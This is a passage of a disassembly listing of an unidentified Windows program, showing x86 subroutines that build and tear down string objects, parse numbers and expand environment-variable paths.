var_12C = byte ptr -12Ch var_128 = byte ptr -128h var_125 = byte ptr -125h var_124 = byte ptr -124h var_120 = byte ptr -120h var_118 = byte ptr -118h var_114 = byte ptr -114h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_FC = byte ptr -0FCh var_F8 = byte ptr -0F8h var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_CC = dword ptr -0CCh var_C4 = byte ptr -0C4h var_C0 = byte ptr -0C0h var_BF = byte ptr -0BFh var_AC = byte ptr -0ACh var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_90 = byte ptr -90h var_88 = dword ptr -88h var_80 = byte ptr -80h var_7C = byte ptr -7Ch var_7B = byte ptr -7Bh var_5C = byte ptr -5Ch var_44 = dword ptr -44h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_18 = byte ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push 43AF2Dh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_13AB824 lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_13AB824 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_13AB824 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_13AB824 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_13AB824 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_13ABF36 mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_13ABBE4 push eax mov ecx, edi call sub_13AB6EE lea ecx, [ebp+4] call sub_13ABBE4 push eax mov ecx, edi call sub_13AB6EE test eax, eax jnz loc_13C6C4C push offset dword_443600 lea eax, [esp+130h+var_FC] push 1 push eax mov ecx, esi call sub_13ABAAE lea ecx, [esp+138h+var_90] mov [esp+138h+var_18], 6 push ecx mov ecx, eax call sub_13ABA81 push eax call sub_13ABD38 add esp, 8 lea ecx, [esp+138h+var_108] test al, al setz [esp+138h+var_125] mov [esp+138h+var_18], bl call sub_13AB626 mov al, [esp+138h+var_125] test al, al jnz loc_13C75B1 lea edx, [esp+138h+var_7B] lea ecx, [esp+138h+var_120] push edx call sub_13AC3BE push offset dword_443CA4 lea ecx, [esp+140h+var_124] call sub_13ABE9B mov eax, [esp+140h+var_44] lea ecx, [esp+140h+var_128] push eax call sub_13AB540 lea ecx, [esp+144h+var_44] push ecx lea ecx, [esp+148h+var_FC] call sub_13AC3BE push 1 push offset dword_443600 lea edx, [esp+150h+var_118] push 2 push edx mov ecx, esi call sub_13AB5EA push eax lea ecx, [esp+15Ch+var_F8] mov [esp+15Ch+var_38], 7 call sub_13AC3BE lea ecx, [esp+15Ch+var_12C] mov [esp+15Ch+var_3C], bl call sub_13AB626 push 94h call near ptr 13E0C1Ah add esp, 4 mov [esp+15Ch+var_148], eax test eax, eax mov [esp+15Ch+var_3C], 8 jz short loc_13C6BDC mov ecx, eax call sub_13AC5C6 mov edi, eax jmp short loc_13C6BDE ; --------------------------------------------------------------------------- loc_13C6BDC: ; CODE XREF: sub_13C6A20+1AFj xor edi, edi loc_13C6BDE: ; CODE XREF: sub_13C6A20+1BAj lea eax, [esp+15Ch+var_144] lea ecx, [edi+11h] push eax mov [esp+160h+var_3C], bl call sub_13AC3BE lea ecx, [esp+160h+var_118] push ecx lea ecx, [edi+26h] call sub_13AC3BE lea edx, [esp+164h+var_104] lea ecx, [edi+65h] push edx call sub_13AC3BE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_13AC3BE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_13AB7D4 loc_13C6C4C: ; CODE XREF: sub_13C6A20+C0j lea ecx, [ebp+60h] call sub_13ABBE4 push eax lea ecx, [esi+7Eh] call sub_13AB6EE test eax, eax jnz loc_13C6DCB push offset dword_443600 lea eax, [esp+174h+var_140] push 1 push eax mov ecx, esi call sub_13ABAAE lea ecx, [esp+17Ch+var_D4] mov [esp+17Ch+var_5C], 9 push ecx mov ecx, eax call sub_13ABA81 push eax call sub_13ABD38 add esp, 8 lea ecx, [esp+17Ch+var_14C] test al, al setz [esp+17Ch+var_169] mov [esp+17Ch+var_5C], bl call sub_13AB626 mov al, [esp+17Ch+var_169] test al, al jnz loc_13C75B1 lea edx, [esp+17Ch+var_BF] lea ecx, [esp+17Ch+var_164] push edx call sub_13AC3BE push offset dword_443CA4 lea ecx, [esp+184h+var_168] call sub_13ABE9B mov eax, [esp+184h+var_88] lea ecx, [esp+184h+var_16C] push eax call sub_13AB540 lea ecx, [esp+188h+var_88] push ecx lea ecx, [esp+18Ch+var_140] call sub_13AC3BE push 1 push offset dword_443600 lea edx, [esp+194h+var_15C] push 2 push edx mov ecx, esi call sub_13AB5EA push eax lea ecx, [esp+1A0h+var_13C] mov [esp+1A0h+var_7C], 0Ah call sub_13AC3BE lea ecx, [esp+1A0h+var_170] mov [esp+1A0h+var_80], bl call sub_13AB626 push 94h call near ptr 13E0C1Ah add esp, 4 mov [esp+1A0h+var_18C], eax test eax, eax mov [esp+1A0h+var_80], 0Bh jz short loc_13C6D5B mov ecx, eax call sub_13AC5C6 mov edi, eax jmp short loc_13C6D5D ; --------------------------------------------------------------------------- loc_13C6D5B: ; CODE XREF: sub_13C6A20+32Ej xor edi, edi loc_13C6D5D: ; CODE XREF: sub_13C6A20+339j lea eax, [esp+1A0h+var_188] lea ecx, [edi+11h] push eax mov [esp+1A4h+var_80], bl call sub_13AC3BE lea ecx, [esp+1A4h+var_15C] push ecx lea ecx, [edi+26h] call sub_13AC3BE lea edx, [esp+1A8h+var_148] lea ecx, [edi+65h] push edx call sub_13AC3BE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_13AC3BE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_13AB7D4 loc_13C6DCB: ; CODE XREF: sub_13C6A20+23Fj lea ecx, [ebp+32h] call sub_13ABBE4 push eax lea ecx, [esi+7Eh] call sub_13AB6EE test eax, eax jnz loc_13C7006 push offset dword_443600 lea eax, [esp+1B8h+var_184] push 1 push eax mov ecx, esi call sub_13ABAAE lea ecx, [esp+1C0h+var_118] mov [esp+1C0h+var_A0], 0Ch push ecx mov ecx, eax call sub_13ABA81 push eax call sub_13ABD38 add esp, 8 lea ecx, [esp+1C0h+var_190] test al, al setz [esp+1C0h+var_1AD] mov [esp+1C0h+var_A0], bl call sub_13AB626 mov al, [esp+1C0h+var_1AD] test al, al jnz loc_13C75B1 lea edx, [esp+1C0h+var_103] lea ecx, [esp+1C0h+var_1A8] push edx call sub_13AC3BE push offset dword_443CA4 lea ecx, [esp+1C8h+var_1AC] call sub_13ABE9B mov eax, [esp+1C8h+var_CC] lea ecx, [esp+1C8h+var_1B0] push eax call sub_13AB540 lea ecx, [esp+1CCh+var_CC] push ecx lea ecx, [esp+1D0h+var_184] call sub_13AC3BE push 1 push offset dword_443600 lea edx, [esp+1D8h+var_1A0] push 2 push edx mov ecx, esi call sub_13AB5EA push eax lea ecx, [esp+1E4h+var_180] mov [esp+1E4h+var_C0], 0Dh call sub_13AC3BE lea ecx, [esp+1E4h+var_1B4] mov [esp+1E4h+var_C4], bl call sub_13AB626 push offset dword_443600 lea eax, [esp+1E8h+var_1B4] push 3 push eax mov ecx, esi call sub_13ABAAE push offset word_4475AA mov ecx, eax mov [esp+1F4h+var_D0], 0Eh call sub_13ABF72 test eax, eax lea ecx, [esp+1F4h+var_1C4] mov byte ptr [esp+1F4h+var_D4], bl setz [esp+1F4h+var_1E1] call sub_13AB626 mov al, [esp+1F4h+var_1E1] test al, al jz short loc_13C6F6E lea ecx, [esp+1F4h+var_14C] mov byte ptr [esp+1F4h+var_D4], 4 call sub_13AB8B0 lea ecx, [esp+1F4h+var_194] mov byte ptr [esp+1F4h+var_D4], 3 call sub_13AB626 lea ecx, [esp+1F4h+var_164] mov byte ptr [esp+1F4h+var_D4], 2 call sub_13AB626 lea ecx, [esp+1F4h+var_17C] mov byte ptr [esp+1F4h+var_D4], 1 call sub_13AB626 lea ecx, [esp+1F4h+var_1AC] mov byte ptr [esp+1F4h+var_D4], 0 call sub_13AB626 lea ecx, [esp+1F4h+var_1DC] mov [esp+1F4h+var_D4], 0FFFFFFFFh call sub_13AB626 xor al, al jmp loc_13C7622 ; --------------------------------------------------------------------------- loc_13C6F6E: ; CODE XREF: sub_13C6A20+4D6j push 94h call near ptr 13E0C1Ah add esp, 4 mov [esp+1F4h+var_1E0], eax test eax, eax mov byte ptr [esp+1F4h+var_D4], 0Fh jz short loc_13C6F96 mov ecx, eax call sub_13AC5C6 mov edi, eax jmp short loc_13C6F98 ; --------------------------------------------------------------------------- loc_13C6F96: ; CODE XREF: sub_13C6A20+569j xor edi, edi loc_13C6F98: ; CODE XREF: sub_13C6A20+574j lea ecx, [esp+1F4h+var_1DC] mov byte ptr [esp+1F4h+var_D4], bl push ecx lea ecx, [edi+11h] call sub_13AC3BE lea edx, [esp+1F8h+var_1B0] lea ecx, [edi+26h] push edx call sub_13AC3BE lea eax, [esp+1FCh+var_19C] lea ecx, [edi+65h] push eax call sub_13AC3BE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_13AC3BE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_13AB7D4 loc_13C7006: ; CODE XREF: sub_13C6A20+3BEj lea ecx, [ebp+0BCh] call sub_13ABBE4 push eax lea ecx, [esi+7Eh] call sub_13AB6EE test eax, eax jnz loc_13C71AB push offset dword_443600 lea ecx, [esp+20Ch+var_1D8] push 1 push ecx mov ecx, esi call sub_13ABAAE lea edx, [esp+214h+var_16C] mov ecx, eax push edx mov [esp+218h+var_F4], 10h call sub_13ABA81 push eax call sub_13ABD38 add esp, 8 lea ecx, [esp+214h+var_1E4] test al, al setz [esp+214h+var_201] mov [esp+214h+var_F4], bl call sub_13AB626 mov al, [esp+214h+var_201] test al, al jnz loc_13C75B1 lea eax, [esp+214h+var_142] lea ecx, [esp+214h+var_19C] push eax call sub_13AC3BE lea ecx, [esp+218h+var_131] push ecx lea ecx, [esp+21Ch+var_188] call sub_13AC3BE lea edx, [esp+21Ch+var_15F] lea ecx, [esp+21Ch+var_204] push edx call sub_13AC3BE lea eax, [esp+220h+var_120] lea ecx, [esp+220h+var_1D8] push eax call sub_13AC3BE push 1 push offset dword_443600 lea ecx, [esp+22Ch+var_1F4] push 2 push ecx mov ecx, esi call sub_13AB5EA push eax lea ecx, [esp+238h+var_1D4] mov [esp+238h+var_114], 11h call sub_13AC3BE lea ecx, [esp+238h+var_208] mov [esp+238h+var_118], bl call sub_13AB626 push 94h call near ptr 13E0C1Ah add esp, 4 mov [esp+238h+var_224], eax test eax, eax mov [esp+238h+var_118], 12h jz short loc_13C711E mov ecx, eax call sub_13AC5C6 mov edi, eax jmp short loc_13C7120 ; --------------------------------------------------------------------------- loc_13C711E: ; CODE XREF: sub_13C6A20+6F1j xor edi, edi loc_13C7120: ; CODE XREF: sub_13C6A20+6FCj lea edx, [esp+238h+var_220] lea ecx, [edi+11h] push edx mov [esp+23Ch+var_118], bl call sub_13AC3BE lea eax, [esp+23Ch+var_1F4] lea ecx, [edi+26h] push eax call sub_13AC3BE lea ecx, [esp+240h+var_1E0] push ecx lea ecx, [edi+65h] call sub_13AC3BE lea edx, [esp+244h+var_1CC] lea ecx, [edi+3Bh] push edx call sub_13AC3BE lea eax, [esp+248h+var_1B8] lea ecx, [edi+50h] push eax call sub_13AC3BE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_13AC3BE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_13AB7D4 loc_13C71AB: ; CODE XREF: sub_13C6A20+5FCj lea ecx, [ebp+118h] call sub_13ABBE4 push eax lea ecx, [esi+7Eh] call sub_13AB6EE test eax, eax jnz loc_13C7350 push offset dword_443600 lea ecx, [esp+258h+var_224] push 1 push ecx mov ecx, esi call sub_13ABAAE lea edx, [esp+260h+var_1B8] mov ecx, eax push edx mov [esp+264h+var_140], 13h call sub_13ABA81 push eax call sub_13ABD38 add esp, 8 lea ecx, [esp+260h+var_230] test al, al setz [esp+260h+var_24D] mov [esp+260h+var_140], bl call sub_13AB626 mov al, [esp+260h+var_24D] test al, al jnz loc_13C75B1 lea eax, [esp+260h+var_18E] lea ecx, [esp+260h+var_1E8] push eax call sub_13AC3BE lea ecx, [esp+264h+var_17D] push ecx lea ecx, [esp+268h+var_1D4] call sub_13AC3BE lea edx, [esp+268h+var_1AB] lea ecx, [esp+268h+var_250] push edx call sub_13AC3BE lea eax, [esp+26Ch+var_16C] lea ecx, [esp+26Ch+var_224] push eax call sub_13AC3BE push 1 push offset dword_443600 lea ecx, [esp+278h+var_240] push 2 push ecx mov ecx, esi call sub_13AB5EA push eax lea ecx, [esp+284h+var_220] mov [esp+284h+var_160], 14h call sub_13AC3BE lea ecx, [esp+284h+var_254] mov [esp+284h+var_164], bl call sub_13AB626 push 94h call near ptr 13E0C1Ah add esp, 4 mov [esp+284h+var_270], eax test eax, eax mov [esp+284h+var_164], 15h jz short loc_13C72C3 mov ecx, eax call sub_13AC5C6 mov edi, eax jmp short loc_13C72C5 ; --------------------------------------------------------------------------- loc_13C72C3: ; CODE XREF: sub_13C6A20+896j xor edi, edi loc_13C72C5: ; CODE XREF: sub_13C6A20+8A1j lea edx, [esp+284h+var_26C] lea ecx, [edi+11h] push edx mov [esp+288h+var_164], bl call sub_13AC3BE lea eax, [esp+288h+var_240] lea ecx, [edi+26h] push eax call sub_13AC3BE lea ecx, [esp+28Ch+var_22C] push ecx lea ecx, [edi+65h] call sub_13AC3BE lea edx, [esp+290h+var_218] lea ecx, [edi+3Bh] push edx call sub_13AC3BE lea eax, [esp+294h+var_204] lea ecx, [edi+50h] push eax call sub_13AC3BE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_13AC3BE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_13AB7D4 loc_13C7350: ; CODE XREF: sub_13C6A20+7A1j lea ecx, [ebp+0EAh] call sub_13ABBE4 push eax lea ecx, [esi+7Eh] call sub_13AB6EE test eax, eax jnz loc_13C75B1 push offset dword_443600 lea ecx, [esp+2A4h+var_270] push 1 push ecx mov ecx, esi call sub_13ABAAE lea edx, [esp+2ACh+var_204] mov ecx, eax push edx mov byte ptr [esp+2B0h+var_18C], 16h call sub_13ABA81 push eax call sub_13ABD38 add esp, 8 lea ecx, [esp+2ACh+var_27C] test al, al setz [esp+2ACh+var_299] mov byte ptr [esp+2ACh+var_18C], bl call sub_13AB626 mov al, [esp+2ACh+var_299] test al, al jnz loc_13C75B1 lea eax, [esp+2ACh+var_1DA] lea ecx, [esp+2ACh+var_234] push eax call sub_13AC3BE lea ecx, [esp+2B0h+var_1C9] push ecx lea ecx, [esp+2B4h+var_220] call sub_13AC3BE lea edx, [esp+2B4h+var_1F7] lea ecx, [esp+2B4h+var_29C] push edx call sub_13AC3BE lea eax, [esp+2B8h+var_1B8] lea ecx, [esp+2B8h+var_270] push eax call sub_13AC3BE push 1 push offset dword_443600 lea ecx, [esp+2C4h+var_28C] push 2 push ecx mov ecx, esi call sub_13AB5EA push eax lea ecx, [esp+2D0h+var_26C] mov [esp+2D0h+var_1AC], 17h call sub_13AC3BE lea ecx, [esp+2D0h+var_2A0] mov [esp+2D0h+var_1B0], bl call sub_13AB626 push offset dword_443600 lea edx, [esp+2D4h+var_2A0] push 3 push edx mov ecx, esi call sub_13ABAAE push offset word_4475AA mov ecx, eax mov [esp+2E0h+var_1BC], 18h call sub_13ABF72 test eax, eax lea ecx, [esp+2E0h+var_2B0] mov byte ptr [esp+2E0h+var_1C0], bl setz [esp+2E0h+var_2CD] call sub_13AB626 mov al, [esp+2E0h+var_2CD] test al, al jz short loc_13C74FC lea ecx, [esp+2E0h+var_238] mov byte ptr [esp+2E0h+var_1C0], 4 call sub_13AB8B0 lea ecx, [esp+2E0h+var_280] mov byte ptr [esp+2E0h+var_1C0], 3 call sub_13AB626 lea ecx, [esp+2E0h+var_250] mov byte ptr [esp+2E0h+var_1C0], 2 call sub_13AB626 lea ecx, [esp+2E0h+var_268] mov byte ptr [esp+2E0h+var_1C0], 1 call sub_13AB626 lea ecx, [esp+2E0h+var_298] mov byte ptr [esp+2E0h+var_1C0], 0 call sub_13AB626 lea ecx, [esp+2E0h+var_2C8] mov [esp+2E0h+var_1C0], 0FFFFFFFFh call sub_13AB626 xor al, al jmp loc_13C7622 ; --------------------------------------------------------------------------- loc_13C74FC: ; CODE XREF: sub_13C6A20+A64j push 94h call near ptr 13E0C1Ah add esp, 4 mov [esp+2E0h+var_2CC], eax test eax, eax mov byte ptr [esp+2E0h+var_1C0], 19h jz short loc_13C7524 mov ecx, eax call sub_13AC5C6 mov edi, eax jmp short loc_13C7526 ; --------------------------------------------------------------------------- loc_13C7524: ; CODE XREF: sub_13C6A20+AF7j xor edi, edi loc_13C7526: ; CODE XREF: sub_13C6A20+B02j lea eax, [esp+2E0h+var_2C8] lea ecx, [edi+11h] push eax mov byte ptr [esp+2E4h+var_1C0], bl call sub_13AC3BE lea ecx, [esp+2E4h+var_29C] push ecx lea ecx, [edi+26h] call sub_13AC3BE lea edx, [esp+2E8h+var_288] lea ecx, [edi+65h] push edx call sub_13AC3BE lea eax, [esp+2ECh+var_274] lea ecx, [edi+3Bh] push eax call sub_13AC3BE lea ecx, [esp+2F0h+var_260] push ecx lea ecx, [edi+50h] call sub_13AC3BE lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_13AC3BE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_13AB7D4 loc_13C75B1: ; CODE XREF: sub_13C6A20+116j ; sub_13C6A20+295j ... lea ecx, [esp+2F8h+var_250] mov byte ptr [esp+2F8h+var_1D8], 4 call sub_13AB8B0 lea ecx, [esp+2F8h+var_298] mov byte ptr [esp+2F8h+var_1D8], 3 call sub_13AB626 lea ecx, [esp+2F8h+var_268] mov byte ptr [esp+2F8h+var_1D8], 2 call sub_13AB626 lea ecx, [esp+2F8h+var_280] mov byte ptr [esp+2F8h+var_1D8], 1 call sub_13AB626 lea ecx, [esp+2F8h+var_2B0] mov byte ptr [esp+2F8h+var_1D8], 0 call sub_13AB626 lea ecx, [esp+2F8h+var_2E0] mov [esp+2F8h+var_1D8], 0FFFFFFFFh call sub_13AB626 mov al, 1 loc_13C7622: ; CODE XREF: sub_13C6A20+549j ; sub_13C6A20+AD7j mov ecx, [esp+2F8h+var_1E0] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_13C6A20 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C7950 proc near ; CODE XREF: sub_13ABF36j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43AFB9h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB824 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_13AB824 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_13AB824 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_13AB824 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_13AB824 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13C7950 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C79E0 proc near ; CODE XREF: sub_13AB8B0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43AFF9h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_13AB626 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_13AB626 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_13AB626 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB626 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C79E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C7A80 proc near ; CODE XREF: sub_13AC5C6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43B04Fh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC26A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_13AB824 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_13AB824 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_13AB824 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_13AB824 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_13AB824 lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_13AB824 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13C7A80 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C7B40 proc near ; CODE XREF: .idata:013AB568j ; sub_13ABDE7j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AB9C3 test [esp+4+arg_0], 1 jz short loc_13C7B58 push esi call near ptr 13E0C02h add esp, 4 loc_13C7B58: ; CODE XREF: sub_13C7B40+Dj mov eax, esi pop esi retn 4 sub_13C7B40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C7B70 proc near ; CODE XREF: sub_13AB9C3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43B0AFh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset dword_43E0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_13AB626 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_13AB626 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_13AB626 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_13AB626 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_13AB626 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB626 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AC431 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C7B70 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C7C40 proc near ; CODE XREF: sub_13AC080j var_AC = dword ptr -0ACh var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_74 = dword ptr -74h var_70 = dword ptr -70h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = byte ptr -0Ch arg_0 = byte ptr 4 arg_C = byte ptr 10h arg_C0 = byte ptr 0C4h arg_D0 = byte ptr 0D4h arg_E0 = byte ptr 0E4h arg_10A4 = dword ptr 10A8h arg_10C4 = byte ptr 10C8h arg_10D4 = dword ptr 10D8h arg_1108 = byte ptr 110Ch arg_111C = dword ptr 1120h arg_1128 = dword ptr 112Ch arg_1134 = dword ptr 1138h arg_1138 = dword ptr 113Ch arg_1140 = dword ptr 1144h push 0FFFFFFFFh mov eax, large fs:0 push 43B112h push eax mov eax, 1158h mov large fs:0, esp call near ptr 13E0C60h push ebx push ebp push esi mov esi, ecx push edi push offset byte_446F80 lea edi, [esi+11h] mov ecx, edi call sub_13AB6EE test eax, eax jz loc_13C8348 lea ebx, [esi+65h] push offset byte_446F80 mov ecx, ebx call sub_13AB6EE test eax, eax jz loc_13C8348 lea ecx, [esi+26h] push offset byte_446F80 call sub_13AB6EE test eax, eax jz loc_13C8348 mov al, [esi+91h] test al, al jz short loc_13C7CE1 push offset byte_446F80 lea ecx, [esi+3Bh] call sub_13AB6EE test eax, eax jz short loc_13C7CD4 push offset byte_446F80 lea ecx, [esi+50h] call sub_13AB6EE test eax, eax jnz short loc_13C7CE1 loc_13C7CD4: ; CODE XREF: sub_13C7C40+81j mov [esp+30h+var_1C], esi lea eax, [esp+30h+var_1C] jmp loc_13C8350 ; --------------------------------------------------------------------------- loc_13C7CE1: ; CODE XREF: sub_13C7C40+70j ; sub_13C7C40+92j push offset dword_443CA4 lea ecx, [esp+2Ch+var_C] push 1 push ecx mov ecx, edi call sub_13ABAAE push offset byte_446F80 mov ecx, eax mov [esp+38h+arg_1138], 0 call sub_13AB6EE lea ecx, [esp+38h+var_1C] mov ebp, eax mov [esp+38h+arg_1134], 0FFFFFFFFh call sub_13AB626 test ebp, ebp jz short loc_13C7D6E push offset dword_443CA4 lea edx, [esp+3Ch+var_1C] push 1 push edx mov ecx, edi call sub_13ABAAE mov ecx, eax mov [esp+44h+arg_1128], 1 call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 lea ecx, [esp+44h+var_28] mov ebp, eax mov [esp+44h+arg_1128], 0FFFFFFFFh call sub_13AB626 test ebp, ebp jnz short loc_13C7D7F loc_13C7D6E: ; CODE XREF: sub_13C7C40+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_13C7D7F: ; CODE XREF: sub_13C7C40+12Cj push offset dword_443CA4 lea ecx, [esp+48h+var_10] push 0 push ecx mov ecx, edi call sub_13ABAAE lea edx, [esp+50h+var_1C] mov ecx, edi push edx mov [esp+54h+arg_111C], 2 call sub_13AC3BE lea eax, [esp+54h+arg_C] push 104h push eax mov ecx, ebx call sub_13ABBE4 push eax call ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA lea ecx, [esp+60h+arg_0] push ecx mov ecx, ebx call sub_13AB9D7 mov al, [esi+91h] test al, al jz loc_13C7F14 call sub_13AC206 lea edx, [esp+64h+var_50] mov ecx, edi push edx call sub_13ABBE4 push eax call sub_13ABE69 add esp, 8 test eax, eax jnz short loc_13C7E2C lea ecx, [esi+7Ah] call sub_13ABA81 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset dword_443FDC push eax push ecx mov ecx, offset byte_E19CC5 call sub_13AB518 mov [esp+74h+var_64], esi lea edx, [esp+74h+var_64] jmp loc_13C8327 ; --------------------------------------------------------------------------- loc_13C7E2C: ; CODE XREF: sub_13C7C40+1B7j mov eax, [esp+64h+var_50] lea ecx, [esi+50h] push eax call sub_13ABBE4 push eax lea ecx, [esi+3Bh] call sub_13ABBE4 push eax call sub_13AC643 add esp, 0Ch test eax, eax jnz short loc_13C7E83 lea ecx, [esi+7Ah] call sub_13ABA81 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset dword_443FCC push ecx push edx mov ecx, offset byte_E19CC5 call sub_13AB518 lea eax, [esp+74h+var_64] mov [esp+74h+var_64], esi push eax jmp loc_13C8328 ; --------------------------------------------------------------------------- loc_13C7E83: ; CODE XREF: sub_13C7C40+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_13ABA81 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset dword_443FBC push ecx push edx mov ecx, offset byte_E19CC5 call sub_13AB518 mov eax, [esp+74h+var_60] lea ecx, [esi+26h] push eax push 49h call sub_13ABBE4 push eax mov ecx, ebx call sub_13ABBE4 push eax call sub_13ABAA9 add esp, 10h test eax, eax jnz short loc_13C7F02 mov ecx, edi call sub_13ABA81 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset dword_443FAC push ecx push edx mov ecx, offset byte_E19CC5 